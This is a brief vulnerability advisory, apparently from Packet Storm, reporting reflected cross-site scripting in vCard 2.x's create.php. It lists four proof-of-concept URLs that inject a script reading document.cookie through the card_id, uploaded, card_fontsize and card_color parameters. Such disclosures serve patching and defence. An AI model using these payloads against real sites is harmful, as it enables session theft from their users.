vCard 2.x suffers from multiple cross site scripting vulnerabilities.
6ab9658c010a399b015e34b6359dc7b19a727dd6f6203b3b18974134f7430397Hello
Vulnerable: vCard 2.x
http://www.belchiorfoundry.com
Exploit :
http://example.com/vcard/create.php?card_id='><script>alert(document.cookie)</script>
http://example.com/vcard/create.php?uploaded='><script>alert(document.cookie)</script>
http://example.com/vcard/create.php?card_fontsize='><script>alert(document.cookie)</script>
http://example.com/vcard/create.php?card_color='><script>alert(document.cookie)</script>
Discovery by Linux_Drox
http://www.lezr.com
Best Regards
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed